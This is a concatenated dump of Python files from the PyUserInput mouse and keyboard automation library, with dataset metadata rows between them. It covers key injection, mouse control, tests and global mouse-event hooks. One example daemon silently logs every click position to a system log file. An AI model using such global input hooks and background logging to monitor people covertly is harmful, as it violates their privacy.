win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE[','],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == '>':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['.'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['.'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'A':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['a'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['a'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'B':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['b'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['b'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'C':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['c'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['c'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'D':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['d'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['d'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'E':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['e'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['e'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'F':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['f'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['f'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'G':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['g'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['g'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'H':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['h'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['h'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'I':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['i'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['i'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'J':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['j'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['j'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'K':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['k'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['k'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'L':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['l'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['l'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'M':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['m'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['m'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'N':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['n'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['n'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'O':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['o'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['o'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'P':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['p'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['p'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'Q':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['q'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['q'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'R':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['r'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['r'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'S':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['s'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['s'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'T':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['t'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['t'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'U':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['u'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['u'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'V':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['v'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['v'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'W':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['w'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['w'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'X':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['x'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['x'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'Y':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['y'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['y'],0 ,win32con.KEYEVENTF_KEYUP ,0)
elif i == 'Z':
win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
win32api.keybd_event(VK_CODE['z'], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
win32api.keybd_event(VK_CODE['z'],0 ,win32con.KEYEVENTF_KEYUP ,0)
else:
win32api.keybd_event(VK_CODE[i], 0,0,0)
time.sleep(.05)
win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
| 20,991 | Python | .py | 474 | 32.474684 | 86 | 0.537463 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,861 | filetranscriber.py | SavinaRoja_PyUserInput/examples/filetranscriber.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
FileTranscriber
A small utility that simulates user typing to aid plaintext file transcription
in limited environments
Usage:
transcribe <file> [--interval=<time>] [--pause=<time>]
transcribe (--help | --version)
Options:
-v --version show program's version number and exit
-h --help show this help message and exit
-i --interval=<time> Interval between keystrokes (in seconds). Typing too
quickly may break applications processing the
keystrokes. [default: 0.1]
-p --pause=<time> How long the script should wait before starting (in
seconds). Increase this if you need more time to enter
the typing field. [default: 5]
"""
#This script copied from https://github.com/SavinaRoja/FileTranscriber
#Check there for updates
from docopt import docopt
from pykeyboard import PyKeyboard
from pymouse import PyMouseEvent
import time
import sys
#Hack to make input work for both Python 2 and Python 3
try:
input = raw_input
except NameError:
pass
class AbortMouse(PyMouseEvent):
def click(self, x, y, button, press):
if press:
self.stop()
def main():
#Get an instance of PyKeyboard, and our custom PyMouseEvent
keyboard = PyKeyboard()
mouse = AbortMouse()
input('Press Enter when ready.')
print('Typing will begin in {0} seconds...'.format(opts['--pause']))
time.sleep(opts['--pause'])
mouse.start()
with open(opts['<file>'], 'r') as readfile:
for line in readfile:
if not mouse.state:
print('Typing aborted!')
break
keyboard.type_string(line, opts['--interval'])
if __name__ == '__main__':
opts = docopt(__doc__, version='0.2.1')
try:
opts['--interval'] = float(opts['--interval'])
except ValueError:
print('The value of --interval must be a number')
sys.exit(1)
try:
opts['--pause'] = float(opts['--pause'])
except ValueError:
print('The value of --pause must be a number')
sys.exit(1)
main() | 2,183 | Python | .py | 62 | 29.016129 | 78 | 0.634551 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,862 | clickonacci.py | SavinaRoja_PyUserInput/examples/clickonacci.py | from pymouse import PyMouseEvent
def fibo():
a = 0
yield a
b = 1
yield b
while True:
a, b = b, a+b
yield b
class Clickonacci(PyMouseEvent):
def __init__(self):
PyMouseEvent.__init__(self)
self.fibo = fibo()
def click(self, x, y, button, press):
'''Print Fibonacci numbers when the left click is pressed.'''
if button == 1:
if press:
print(self.fibo.next())
else: # Exit if any other mouse button used
self.stop()
C = Clickonacci()
C.run() | 567 | Python | .py | 22 | 19 | 69 | 0.560886 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,863 | mouse.py | SavinaRoja_PyUserInput/examples/mouse.py | #!/usr/bin/python
import logging
import daemon
from socket import gethostname;
from pymouse import PyMouse
import random, time
from signal import signal, SIGINT
with daemon.DaemonContext():
def stop(signum, frame):
cleanup_stop_thread();
sys.exit()
signal(SIGINT, stop)
try:
from pymouse import PyMouseEvent
class event(PyMouseEvent):
def __init__(self):
super(event, self).__init__()
FORMAT = '%(asctime)-15s ' + gethostname() + ' touchlogger %(levelname)s %(message)s'
logging.basicConfig(filename='/var/log/mouse.log', level=logging.DEBUG, format=FORMAT)
def move(self, x, y):
pass
def click(self, x, y, button, press):
if press:
logging.info('{ "event": "click", "type": "press", "x": "' + str(x) + '", "y": "' + str(y) + '"}')
else:
logging.info('{ "event": "click", "type": "release", "x": "' + str(x) + '", "y": "' + str(y) + '"}')
e = event()
e.capture = False
e.daemon = False
e.start()
except ImportError:
logging.info('{ "event": "exception", "type": "ImportError", "value": "Mouse events unsupported"}')
sys.exit()
m = PyMouse()
try:
size = m.screen_size()
logging.info('{ "event": "start", "type": "size", "value": "' + str(size) + '"}')
except:
logging.info('{ "event": "exception", "type": "size", "value": "undetermined problem"}')
sys.exit()
try:
e.join()
except KeyboardInterrupt:
e.stop()
sys.exit()
| 1,456 | Python | .py | 45 | 28.311111 | 107 | 0.617584 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,864 | test_import_times.py | SavinaRoja_PyUserInput/tests/test_import_times.py | # coding=utf8
'''
Tests that import times for pymouse and pykeyboard are not unreasonably long.
This catches the slow-import-of-Quartz on Mac OS X due to pyobjc's slow
behavior when import via from ... import *.
Note that since this ultimately tests the import speed of pyobjc's Quartz
package, only the first test can ever fail; after that, Quartz will have been
imported and so subsequent from Quartz import * calls in later tests should
take negligible time, even if they would, on their own, be very slow.
'''
import contextlib
import time
from nose import SkipTest
@contextlib.contextmanager
def check_execution_time(description, max_seconds):
start_time = time.time()
yield
end_time = time.time()
execution_time = end_time - start_time
if execution_time > max_seconds:
raise Exception("Took too long to complete %s" % description)
def test_pymouse_import_time():
# skip this test by default, call nosetests with --no-skip to enable
raise SkipTest()
with check_execution_time("importing pymouse", max_seconds=3):
import pymouse
def test_pykeyboard_import_time():
# skip this test by default, call nosetests with --no-skip to enable
raise SkipTest()
with check_execution_time("importing pykeyboard", max_seconds=3):
import pykeyboard
| 1,269 | Python | .py | 31 | 38.935484 | 78 | 0.78275 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,865 | test_unix.py | SavinaRoja_PyUserInput/tests/test_unix.py | '''
Tested on linux.
install: Xvfb, Xephyr, PyVirtualDisplay, nose
on Ubuntu:
sudo apt-get install python-nose
sudo apt-get install xvfb
sudo apt-get install xserver-xephyr
sudo apt-get install python-setuptools
sudo easy_install PyVirtualDisplay
to start:
nosetests -v
'''
from nose.tools import eq_
from pymouse import PyMouse, PyMouseEvent
from pyvirtualdisplay import Display
from unittest import TestCase
import time
# 0 -> Xvfb
# 1 -> Xephyr
VISIBLE = 0
screen_sizes = [
(10, 20),
(100, 200),
(765, 666),
]
positions = [
(0, 5),
(0, 0),
(10, 20),
(-10, -20),
(2222, 2222),
(5, 0),
(9, 19),
]
buttons = [1, 2, 3, 10] # 10 = mouse btn6
class Event(PyMouseEvent):
def reset(self):
self.pos = None
self.button = None
self.press = None
self.scroll_vertical = None
self.scroll_horizontal = None
def move(self, x, y):
print("Mouse moved to", x, y)
self.pos = (x, y)
def click(self, x, y, button, press):
if press:
print("Mouse pressed at", x, y, "with button", button)
else:
print("Mouse released at", x, y, "with button", button)
self.button = button
self.press = press
def scroll(self, x, y, vertical, horizontal):
self.scroll_vertical = vertical
self.scroll_horizontal = horizontal
def expect_pos(pos, size):
def expect(x, m):
x = max(0, x)
x = min(m - 1, x)
return x
expected_pos = (expect(pos[0], size[0]), expect(pos[1], size[1]))
return expected_pos
class Test(TestCase):
def test_size(self):
for size in screen_sizes:
with Display(visible=VISIBLE, size=size):
mouse = PyMouse()
eq_(size, mouse.screen_size())
def test_move(self):
for size in screen_sizes:
with Display(visible=VISIBLE, size=size):
mouse = PyMouse()
for p in positions:
mouse.move(*p)
eq_(expect_pos(p, size), mouse.position())
def test_event(self):
for size in screen_sizes:
with Display(visible=VISIBLE, size=size):
time.sleep(1.0) # TODO: how long should we wait?
mouse = PyMouse()
event = Event()
event.start()
# check move
for p in positions:
event.reset()
mouse.move(*p)
time.sleep(0.01)
print('check ', expect_pos(p, size), '=', event.pos)
eq_(expect_pos(p, size), event.pos)
# check buttons
for btn in buttons:
# press
event.reset()
mouse.press(0, 0, btn)
time.sleep(0.01)
print("check button", btn, "pressed")
eq_(btn, event.button)
eq_(True, event.press)
# release
event.reset()
mouse.release(0, 0, btn)
time.sleep(0.01)
print("check button", btn, "released")
eq_(btn, event.button)
eq_(False, event.press)
# check scroll
def check_scroll(btn, vertical=None, horizontal=None):
event.reset()
mouse.press(0, 0, btn)
time.sleep(0.01)
if vertical:
eq_(vertical, event.scroll_vertical)
elif horizontal:
eq_(horizontal, event.scroll_horizontal)
print("check scroll up")
check_scroll(4, 1, 0)
print("check scroll down")
check_scroll(5, -1, 0)
print("check scroll left")
check_scroll(6, 0, 1)
print("check scroll right")
check_scroll(7, 0, -1)
event.stop()
| 4,232 | Python | .py | 123 | 22.04878 | 72 | 0.488025 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,866 | basic.py | SavinaRoja_PyUserInput/tests/basic.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from pymouse import PyMouse
import random, time
try:
from pymouse import PyMouseEvent
class event(PyMouseEvent):
def move(self, x, y):
print("Mouse moved to", x, y)
def click(self, x, y, button, press):
if press:
print("Mouse pressed at", x, y, "with button", button)
else:
print("Mouse released at", x, y, "with button", button)
e = event()
#e.capture = True
e.start()
except ImportError:
print("Mouse events are not yet supported on your platform")
m = PyMouse()
try:
size = m.screen_size()
print("size: %s" % (str(size)))
pos = (random.randint(0, size[0]), random.randint(0, size[1]))
except:
pos = (random.randint(0, 250), random.randint(0, 250))
print("Position: %s" % (str(pos)))
m.move(pos[0], pos[1])
time.sleep(2)
m.click(pos[0], pos[1], 1)
time.sleep(2)
m.click(pos[0], pos[1], 2)
time.sleep(2)
m.click(pos[0], pos[1], 3)
try:
e.stop()
except:
pass
| 1,649 | Python | .py | 50 | 29.26 | 71 | 0.687303 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,867 | wayland.py | SavinaRoja_PyUserInput/pymouse/wayland.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
| 654 | Python | .py | 14 | 45.714286 | 70 | 0.795313 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,868 | windows.py | SavinaRoja_PyUserInput/pymouse/windows.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from ctypes import *
import win32api, win32con
from .base import PyMouseMeta, PyMouseEventMeta, ScrollSupportError
import pythoncom
from time import sleep
class POINT(Structure):
_fields_ = [("x", c_ulong),
("y", c_ulong)]
class PyMouse(PyMouseMeta):
"""MOUSEEVENTF_(button and action) constants
are defined at win32con, buttonAction is that value"""
def press(self, x, y, button=1):
buttonAction = 2 ** ((2 * button) - 1)
self.move(x, y)
win32api.mouse_event(buttonAction, x, y)
def release(self, x, y, button=1):
buttonAction = 2 ** ((2 * button))
self.move(x, y)
win32api.mouse_event(buttonAction, x, y)
def scroll(self, vertical=None, horizontal=None, depth=None):
#Windows supports only vertical and horizontal scrolling
if depth is not None:
raise ScrollSupportError('PyMouse cannot support depth-scrolling \
in Windows. This feature is only available on Mac.')
#Execute vertical then horizontal scrolling events
if vertical is not None:
vertical = int(vertical)
if vertical == 0: # Do nothing with 0 distance
pass
elif vertical > 0: # Scroll up if positive
for _ in range(vertical):
win32api.mouse_event(0x0800, 0, 0, 120, 0)
else: # Scroll down if negative
for _ in range(abs(vertical)):
win32api.mouse_event(0x0800, 0, 0, -120, 0)
if horizontal is not None:
horizontal = int(horizontal)
if horizontal == 0: # Do nothing with 0 distance
pass
elif horizontal > 0: # Scroll right if positive
for _ in range(horizontal):
win32api.mouse_event(0x01000, 0, 0, 120, 0)
else: # Scroll left if negative
for _ in range(abs(horizontal)):
win32api.mouse_event(0x01000, 0, 0, -120, 0)
def move(self, x, y):
windll.user32.SetCursorPos(x, y)
def drag(self, x, y):
self.press(*m.position())
#self.move(x, y)
self.release(x, y)
def position(self):
pt = POINT()
windll.user32.GetCursorPos(byref(pt))
return pt.x, pt.y
def screen_size(self):
if windll.user32.GetSystemMetrics(80) == 1:
width = windll.user32.GetSystemMetrics(0)
height = windll.user32.GetSystemMetrics(1)
else:
width = windll.user32.GetSystemMetrics(78)
height = windll.user32.GetSystemMetrics(79)
return width, height
class PyMouseEvent(PyMouseEventMeta):
def __init__(self, capture=False, capture_move=False):
import pyWinhook as pyHook
PyMouseEventMeta.__init__(self, capture=capture, capture_move=capture_move)
self.hm = pyHook.HookManager()
def run(self):
self.hm.MouseAll = self._action
self.hm.HookMouse()
while self.state:
sleep(0.01)
pythoncom.PumpWaitingMessages()
def stop(self):
self.hm.UnhookMouse()
self.state = False
def _action(self, event):
import pyWinhook as pyHook
x, y = event.Position
if event.Message == pyHook.HookConstants.WM_MOUSEMOVE:
self.move(x,y)
return not self.capture_move
elif event.Message == pyHook.HookConstants.WM_LBUTTONDOWN:
self.click(x, y, 1, True)
elif event.Message == pyHook.HookConstants.WM_LBUTTONUP:
self.click(x, y, 1, False)
elif event.Message == pyHook.HookConstants.WM_RBUTTONDOWN:
self.click(x, y, 2, True)
elif event.Message == pyHook.HookConstants.WM_RBUTTONUP:
self.click(x, y, 2, False)
elif event.Message == pyHook.HookConstants.WM_MBUTTONDOWN:
self.click(x, y, 3, True)
elif event.Message == pyHook.HookConstants.WM_MBUTTONUP:
self.click(x, y, 3, False)
elif event.Message == pyHook.HookConstants.WM_MOUSEWHEEL:
# event.Wheel is -1 when scrolling down, 1 when scrolling up
self.scroll(x, y, event.Wheel, 0)
return not self.capture
| 4,894 | Python | .py | 113 | 34.442478 | 83 | 0.634244 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,869 | java_.py | SavinaRoja_PyUserInput/pymouse/java_.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from java.awt import Robot, Toolkit
from java.awt.event import InputEvent
from java.awt.MouseInfo import getPointerInfo
from .base import PyMouseMeta
r = Robot()
class PyMouse(PyMouseMeta):
def press(self, x, y, button = 1):
button_list = [None, InputEvent.BUTTON1_MASK, InputEvent.BUTTON3_MASK, InputEvent.BUTTON2_MASK]
self.move(x, y)
r.mousePress(button_list[button])
def release(self, x, y, button = 1):
button_list = [None, InputEvent.BUTTON1_MASK, InputEvent.BUTTON3_MASK, InputEvent.BUTTON2_MASK]
self.move(x, y)
r.mouseRelease(button_list[button])
def move(self, x, y):
r.mouseMove(x, y)
def position(self):
loc = getPointerInfo().getLocation()
return loc.getX, loc.getY
def screen_size(self):
dim = Toolkit.getDefaultToolkit().getScreenSize()
return dim.getWidth(), dim.getHeight()
| 1,564 | Python | .py | 36 | 39.138889 | 103 | 0.733026 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,870 | mac.py | SavinaRoja_PyUserInput/pymouse/mac.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
import Quartz
from AppKit import NSEvent, NSScreen
from .base import PyMouseMeta, PyMouseEventMeta
pressID = [None, Quartz.kCGEventLeftMouseDown,
Quartz.kCGEventRightMouseDown, Quartz.kCGEventOtherMouseDown]
releaseID = [None, Quartz.kCGEventLeftMouseUp,
Quartz.kCGEventRightMouseUp, Quartz.kCGEventOtherMouseUp]
class PyMouse(PyMouseMeta):
def press(self, x, y, button=1):
event = Quartz.CGEventCreateMouseEvent(None,
pressID[button],
(x, y),
button - 1)
Quartz.CGEventPost(Quartz.kCGHIDEventTap, event)
def release(self, x, y, button=1):
event = Quartz.CGEventCreateMouseEvent(None,
releaseID[button],
(x, y),
button - 1)
Quartz.CGEventPost(Quartz.kCGHIDEventTap, event)
def move(self, x, y):
move = Quartz.CGEventCreateMouseEvent(None, Quartz.kCGEventMouseMoved, (x, y), 0)
Quartz.CGEventPost(Quartz.kCGHIDEventTap, move)
def drag(self, x, y):
drag = Quartz.CGEventCreateMouseEvent(None, Quartz.kCGEventLeftMouseDragged, (x, y), 0)
Quartz.CGEventPost(Quartz.kCGHIDEventTap, drag)
def position(self):
loc = NSEvent.mouseLocation()
return loc.x, Quartz.CGDisplayPixelsHigh(0) - loc.y
def screen_size(self):
return NSScreen.mainScreen().frame().size.width, NSScreen.mainScreen().frame().size.height
def scroll(self, vertical=None, horizontal=None, depth=None):
#Local submethod for generating Mac scroll events in one axis at a time
def scroll_event(y_move=0, x_move=0, z_move=0, n=1):
for _ in range(abs(n)):
scrollWheelEvent = Quartz.CGEventCreateScrollWheelEvent(
None, # No source
Quartz.kCGScrollEventUnitLine, # Unit of measurement is lines
3, # Number of wheels(dimensions)
y_move,
x_move,
z_move)
Quartz.CGEventPost(Quartz.kCGHIDEventTap, scrollWheelEvent)
#Execute vertical then horizontal then depth scrolling events
if vertical is not None:
vertical = int(vertical)
if vertical == 0: # Do nothing with 0 distance
pass
elif vertical > 0: # Scroll up if positive
scroll_event(y_move=1, n=vertical)
else: # Scroll down if negative
scroll_event(y_move=-1, n=abs(vertical))
if horizontal is not None:
horizontal = int(horizontal)
if horizontal == 0: # Do nothing with 0 distance
pass
elif horizontal > 0: # Scroll right if positive
scroll_event(x_move=1, n=horizontal)
else: # Scroll left if negative
scroll_event(x_move=-1, n=abs(horizontal))
if depth is not None:
depth = int(depth)
if depth == 0: # Do nothing with 0 distance
pass
elif vertical > 0: # Scroll "out" if positive
scroll_event(z_move=1, n=depth)
else: # Scroll "in" if negative
scroll_event(z_move=-1, n=abs(depth))
class PyMouseEvent(PyMouseEventMeta):
def run(self):
tap = Quartz.CGEventTapCreate(
Quartz.kCGSessionEventTap,
Quartz.kCGHeadInsertEventTap,
Quartz.kCGEventTapOptionDefault,
Quartz.CGEventMaskBit(Quartz.kCGEventMouseMoved) |
Quartz.CGEventMaskBit(Quartz.kCGEventLeftMouseDown) |
Quartz.CGEventMaskBit(Quartz.kCGEventLeftMouseUp) |
Quartz.CGEventMaskBit(Quartz.kCGEventRightMouseDown) |
Quartz.CGEventMaskBit(Quartz.kCGEventRightMouseUp) |
Quartz.CGEventMaskBit(Quartz.kCGEventOtherMouseDown) |
Quartz.CGEventMaskBit(Quartz.kCGEventOtherMouseUp),
self.handler,
None)
loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0)
loop = Quartz.CFRunLoopGetCurrent()
